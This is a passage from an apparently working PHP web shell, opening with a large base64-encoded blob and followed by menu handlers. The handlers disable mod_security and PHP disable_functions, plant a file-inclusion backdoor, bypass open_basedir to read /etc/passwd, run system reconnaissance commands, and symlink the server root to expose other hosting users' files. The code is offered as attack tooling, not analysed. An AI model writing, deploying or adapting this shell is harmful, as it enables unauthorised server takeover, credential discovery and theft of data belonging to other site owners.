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'))); ?></textarea>
1016</td>
1017</tr>
1018<tr>
1019<td>
1020<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" />
1021 </td></tr></table>
1022</form>
1023
1024<?php
1025}
1026# x=dmsec1
1027elseif (isset($_GET['x']) && ($_GET['x'] == 'dmsec1')) {
1028 @error_reporting(0);
1029 $htaccess = fopen('.htaccess', 'w');
1030 $iniphp = fopen('ini.php', 'w');
1031 $jablay = "<IfModule mod_security.c>
1032SecFilterEngine OFF
1033SecFilterScanPOST OFF
1034</IfModule>";
1035 $kimcil = "<?
1036echo ini_get(\"safe_mode\");
1037echo ini_get(\"open_basedir\");
1038include(\$_GET[\"file\"]);
1039ini_restore(\"safe_mode\");
1040ini_restore(\"open_basedir\");
1041echo ini_get(\"safe_mode\");
1042echo ini_get(\"open_basedir\");
1043include(\$_GET[\"ss\"]);
1044?>";
1045 fwrite($htaccess, $jablay);
1046 fwrite($iniphp, $kimcil);
1047 $kobel = "<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS HTACCESS ]:=O</span></b></nobr><br/><br/><nobr><span class='b9'>Generate htaccess & ini.php Successfully :)</span></nobr><br/><br/><br/></center>";
1048 echo $kobel;
1049}
1050# x=dmsec2
1051elseif (isset($_GET['x']) && ($_GET['x'] == 'dmsec2')) { ?>
1052<form action="?dm=<?php echo $pwd; ?>&x=dmsec2" method="post">
1053
1054<?php
1055 @error_reporting(0);
1056 $ayo = fopen('php.ini', 'w');
1057 $blay = "disable_functions = NONE";
1058 fwrite($ayo, $blay);
1059 $hotel = " <center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS PHP.INI ]:=O</span></b></nobr><br/><br/>
1060<nobr><span class='b9'>Generate php.ini Successfully :)</span></nobr><br/><br/><br/></center>";
1061 echo $hotel;
1062}
1063# x=dmsec3
1064elseif (isset($_GET['x']) && ($_GET['x'] == 'dmsec3')) {
1065 @error_reporting(0);
1066 function CleanDir($d) {
1067 $d = str_replace("\"," / ",$d);
1068$d=str_replace(" //","/",$d);
1069 return $d;
1070 }
1071 if (isset($_POST['curl_bypass'])) {
1072 @error_reporting(0);
1073 $ch = curl_init("file://$_POST[file_bypass]");
1074 curl_setopt($ch, CURLOPT_HEADERS, 0);
1075 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1076 $file_out = curl_exec($ch);
1077 curl_close($ch);
1078 echo "<br/><br/><center><textarea rows='20' style='color:white;background-color:#000000' cols='70' >" . htmlspecialchars($file_out) . "</textarea></br></br>";
1079 } elseif (isset($_POST['copy_bypass'])) {
1080 if (@copy($_POST['file_bypass'], $_POST['dest'])) {
1081 @$fh = fopen($_POST['dest'], 'r');
1082 echo "<br/><br/><center><textarea rows='20' style='color:white;background-color:#000000' cols='70'>" . htmlspecialchars(@fread($fh, filesize($_POST['dest']))) . "</textarea></br></br>";
1083 @fclose($fh);
1084 } else echo "<center><br/><br/>
1085<h1>O=:[ BYPASS DENIED ]:=O</h1><br></br>";
1086 }
1087 echo "<br/><br/><table style='margin: auto; width: 100%; text-align: center;'><tr>
1088<td colspan='3'> <center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS BASEDIR ]:=O</span></b></nobr><br/><br/></center> </td>
1089</tr>
1090<tr>
1091<td>[~] Bypass Basedir cURL [~]</td>
1092<td>[~] Bypass Basedir copy() [~]</td>
1093</tr>
1094<tr>
1095<td><nobr><form method='post' name='bypasser'>
1096FILE : <input type='text' style='color:blue;background-color:#000000' value='/etc/passwd' name='file_bypass'> <input type='submit' name='curl_bypass' style='color:blue;background-color:#000000' value='Bypass'></form></td>
1097
1098<td><nobr><form method='post' name='bypasser'>FILE COPY TO : <input type='text'style='color:blue;background-color:#000000' style='width: 250px;' name='dest' value='" . CleanDir(getcwd()) . "/maho.txt'> <input type='text' style='color:blue;background-color:#000000' value='/etc/passwd' name='file_bypass'> <input type='submit' name='copy_bypass' style='color:blue;background-color:#000000' value='Bypass'>
1099</nobr></form>
1100</td>
1101</table>";
1102}
1103# x=dmsec4
1104elseif (isset($_GET['x']) && ($_GET['x'] == 'dmsec4')) {
1105 function dmprocess() {
1106 if (!$win) {
1107 $handler = "ps -aux" . ($grep ? " | grep '" . addslashes($grep) . "'" : "");
1108 } else {
1109 $handler = "tasklist";
1110 }
1111 $ret = myshellexec($handler);
1112 if (!$ret) {
1113 echo "Can't execute \"" . $handler . "\"!";
1114 } else {
1115 if (empty($processes_sort)) {
1116 $processes_sort = $sort_default;
1117 }
1118 $parsesort = parsesort($processes_sort);
1119 if (!is_numeric($parsesort[0])) {
1120 $parsesort[0] = 0;
1121 }
1122 $k = $parsesort[0];
1123 $ret = htmlspecialchars($ret);
1124 if (!$win) {
1125 if ($pid) {
1126 if (is_null($sig)) {
1127 $sig = 9;
1128 }
1129 echo "Sending signal " . $sig . " to #" . $pid . "... ";
1130 if (posix_kill($pid, $sig)) {
1131 echo "OK.";
1132 } else {
1133 echo "ERROR.";
1134 }
1135 }
1136 while (ereg(" ", $ret)) {
1137 $ret = str_replace(" ", " ", $ret);
1138 }
1139 $stack = explode("
1140", $ret);
1141 $head = explode(" ", $stack[0]);
1142 unset($stack[0]);
1143 $prcs = array();
1144 foreach ($stack as $line) {
1145 if (!empty($line)) {
1146 echo "<tr>";
1147 $line = explode(" ", $line);
1148 $line[10] = join(" ", array_slice($line, 10));
1149 $line = array_slice($line, 0, 11);
1150 $prcs[] = $line;
1151 echo "</tr>";
1152 }
1153 }
1154 } else {
1155 while (ereg(" ", $ret)) {
1156 $ret = str_replace(" ", "", $ret);
1157 }
1158 while (ereg(" ", $ret)) {
1159 $ret = str_replace(" ", "", $ret);
1160 }
1161 while (ereg(" ", $ret)) {
1162 $ret = str_replace(" ", "", $ret);
1163 }
1164 while (ereg(" ", $ret)) {
1165 $ret = str_replace(" ", "", $ret);
1166 }
1167 while (ereg(" ", $ret)) {
1168 $ret = str_replace(" ", "", $ret);
1169 }
1170 while (ereg(" ", $ret)) {
1171 $ret = str_replace(" ", "", $ret);
1172 }
1173 while (ereg(" ", $ret)) {
1174 $ret = str_replace(" ", "", $ret);
1175 }
1176 while (ereg(" ", $ret)) {
1177 $ret = str_replace(" ", "", $ret);
1178 }
1179 while (ereg(" ", $ret)) {
1180 $ret = str_replace(" ", "", $ret);
1181 }
1182 while (ereg("", $ret)) {
1183 $ret = str_replace("", "", $ret);
1184 }
1185 while (ereg(" ", $ret)) {
1186 $ret = str_replace(" ", "", $ret);
1187 }
1188 $ret = convert_cyr_string($ret, "d", "w");
1189 $stack = explode("
1190", $ret);
1191 unset($stack[0], $stack[2]);
1192 $stack = array_values($stack);
1193 $head = explode("", $stack[0]);
1194 $head[1] = explode(" ", $head[1]);
1195 $head[1] = $head[1][0];
1196 $stack = array_slice($stack, 1);
1197 unset($head[2]);
1198 $head = array_values($head);
1199 if ($k > count($head)) {
1200 $k = count($head) - 1;
1201 }
1202 $prcs = array();
1203 foreach ($stack as $line) {
1204 if (!empty($line)) {
1205 echo "<tr>";
1206 $line = explode("", $line);
1207 $line[1] = intval($line[1]);
1208 $line[2] = $line[3];
1209 unset($line[3]);
1210 $line[2] = intval(str_replace(" ", "", $line[2])) * 1024;
1211 $prcs[] = $line;
1212 echo "</tr>";
1213 }
1214 }
1215 }
1216 $head[$k] = "<b>" . $head[$k] . "</b>" . $y;
1217 $v = $processes_sort[0];
1218 if ($processes_sort[1] == "d") {
1219 $prcs = array_reverse($prcs);
1220 }
1221 $tab = array();
1222 $tab[] = $head;
1223 $tab = array_merge($tab, $prcs);
1224 echo "<TABLE height=1 cellSpacing=0 cellPadding=5 width=\"100%\" border=1>";
1225 foreach ($tab as $i => $k) {
1226 echo "<tr>";
1227 foreach ($k as $j => $v) {
1228 if ($win and $i > 0 and $j == 2) {
1229 $v = view_size($v);
1230 }
1231 echo "<td>" . $v . "</td>";
1232 }
1233 echo "</tr>";
1234 }
1235 echo "</table>";
1236 }
1237 }
1238 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS PROCESS ]:=O</span></b></nobr><br/><br/>";
1239 if ($win) {
1240 echo "<form method='post'>
1241<select class='inputz' name='windowsprocess'>
1242<option name='systeminfo'>System Info</option>
1243<option name='active'>Active Connections</option>
1244<option name='runningserv'>Running Services</option>
1245<option name='useracc'>User Accounts</option>
1246<option name='showcom'>Show Computers</option>
1247<option name='arptab'>ARP Table</option>
1248<option name='ipconf'>IP Configuration</option></select>
1249<input type='submit' class='inputzbut' name='submitwinprocess' value='View'>
1250</form>";
1251 } else {
1252 echo "<form method='post'>
1253<select class='inputz' name='nonwindowsprocess'>
1254<option name='passwd'>Passwd</option>
1255<option name='syslog'>Syslog</option>
1256<option name='resolv'>Resolv</option>
1257<option name='hosts'>Hosts</option>
1258<option name='cpuinfo'>Cpuinfo</option>
1259<option name='version'>Version</option>
1260<option name='sbin'>Sbin</option>
1261<option name='interrupts'>Interrupts</option>
1262<option name='lsattr'>lsattr</option>
1263<option name='uptime'>Uptime</option>
1264<option name='fstab'>Fstab</option>
1265<option name='hddspace'>HDD Space</option>
1266</select>
1267<input type='submit' class='inputzbut' name='submitnonwinprocess' value=' >> '></form>";
1268 }
1269 $windowsprocess = $_POST['windowsprocess'];
1270 $nonwindowsprocess = $_POST['nonwindowsprocess'];
1271 if ($windowsprocess == "System Info") $winruncom = "systeminfo";
1272 if ($windowsprocess == "Active Connections") $winruncom = "netstat -an";
1273 if ($windowsprocess == "Running Services") $winruncom = "net start";
1274 if ($windowsprocess == "User Accounts") $winruncom = "net user";
1275 if ($windowsprocess == "Show Computers") $winruncom = "net view";
1276 if ($windowsprocess == "ARP Table") $winruncom = "arp -a";
1277 if ($windowsprocess == "IP Configuration") $winruncom = "ipconfig /all";
1278 if ($nonwindowsprocess == "Syslog") $winruncom = "cat /etc/syslog.conf";
1279 if ($nonwindowsprocess == "Resolv") $winruncom = "cat /etc/resolv.conf";
1280 if ($nonwindowsprocess == "Hosts") $winruncom = "cat /etc/hosts";
1281 if ($nonwindowsprocess == "Passwd") $winruncom = "cat /etc/passwd";
1282 if ($nonwindowsprocess == "Cpuinfo") $winruncom = "cat /proc/cpuinfo";
1283 if ($nonwindowsprocess == "Version") $winruncom = "cat /proc/version";
1284 if ($nonwindowsprocess == "Sbin") $winruncom = "ls -al /usr/sbin";
1285 if ($nonwindowsprocess == "Interrupts") $winruncom = "cat /proc/interrupts";
1286 if ($nonwindowsprocess == "lsattr") $winruncom = "lsattr -va";
1287 if ($nonwindowsprocess == "Uptime") $winruncom = "uptime";
1288 if ($nonwindowsprocess == "Fstab") $winruncom = "cat /etc/fstab";
1289 if ($nonwindowsprocess == "HDD Space") $winruncom = "df -h";
1290 if (isset($winruncom)) {
1291 echo "<table class='cmdbox'><tbody><tr><td colspan='2'><textarea class='output' name='content'>" . exe($winruncom) . "</textarea></td></tr></table></center>";
1292 }
1293 if (isset($systeminfo)) {
1294 echo "<br><br>";
1295 dmprocess();
1296 }
1297}
1298# x=dmsym1
1299elseif (isset($_GET['x']) && ($_GET['x'] == 'dmsym1')) {
1300 @session_start();
1301 @set_time_limit(0);
1302 @ini_set('max_execution_time', 0);
1303 if ($win) {
1304 echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1305 }
1306 @mkdir('dm1sym', 0777);
1307 $sempak = "Options all
1308
1309DirectoryIndex dm.html
1310
1311AddType text/plain .php
1312
1313AddHandler server-parsed .php
1314
1315AddType text/plain .html
1316
1317AddHandler txt .html
1318
1319Require None
1320
1321Satisfy Any";
1322 $masuk = @fopen('dm1sym/.htaccess', 'w');
1323 fwrite($masuk, $sempak);
1324 @symlink('/', 'dm1sym/dm.txt');
1325 $pg = basename(__FILE__);
1326 if (is_readable("/var/named")) {
1327 echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK VAR/NAMED ]:=O</span></b></nobr><br/><br/></center>
1328<table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
1329<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1330<td align="center"> <font color="white"> <b>_USERS_</b></td>
1331<td align="center"> <font color="white"> <b>_SYMLINK_</b></center></td>';
1332 $list = scandir("/var/named");
1333 foreach ($list as $domain) {
1334 if (strpos($domain, ".db")) {
1335 @error_reporting(0);
1336 @ini_set('log_errors', 0);
1337 @ini_set('error_log', NULL);
1338 $i+= 1;
1339 $domain = str_replace('.db', '', $domain);
1340 $owner = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
1341 echo "<tr>
1342<td><a class='dm' href='http://" . $domain . " '>" . $domain . "</a></td>
1343<td align='center'><font color='white'>" . $owner['name'] . "</td>
1344<td align='center'><a href='dm1sym/dm.txt" . $owner['dir'] . "/public_html/' target='_blank'>Symlink</a></td>";
1345 }
1346 }
1347 flush();
1348 flush();
1349 }
1350 echo "</tr></table></div></html>";
1351}
1352# x=dmsym2
1353elseif (isset($_GET['x']) && ($_GET['x'] == 'dmsym2')) {
1354 @session_start();
1355 @set_time_limit(0);
1356 @error_reporting(0);
1357 @ini_set('log_errors', 0);
1358 @ini_set('error_log', NULL);
1359 @ini_set('max_execution_time', 0);
1360 if ($win) {
1361 echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1362 }
1363 @mkdir('dm2sym', 0777);
1364 $sempak = "Options all
1365
1366DirectoryIndex dm.html
1367
1368AddType text/plain .php
1369
1370AddHandler server-parsed .php
1371
1372AddType text/plain .html
1373
1374AddHandler txt .html
1375
1376Require None
1377
1378Satisfy Any";
1379 $masuk = @fopen('dm2sym/.htaccess', 'w');
1380 fwrite($masuk, $sempak);
1381 @symlink('/', 'dm2sym/dm.txt');
1382 $pg = basename(__FILE__);
1383 if (is_readable("/etc/passwd-")) {
1384 $gelartiker = 'file_get_contents';
1385 $seret = '/etc/passwd-';
1386 $isikarung = $gelartiker($seret);
1387 $buka = fopen('maho.txt', 'w');
1388 fwrite($buka, $isikarung);
1389 }
1390 if (isset($_GET['file']) or @filesize('maho.txt') > 0) {
1391 $cont = stripcslashes($_POST['file']);
1392 if (!file_exists('maho.txt')) {
1393 $f = @fopen('maho.txt', 'w');
1394 $w = @fwrite($f, $cont);
1395 fclose($f);
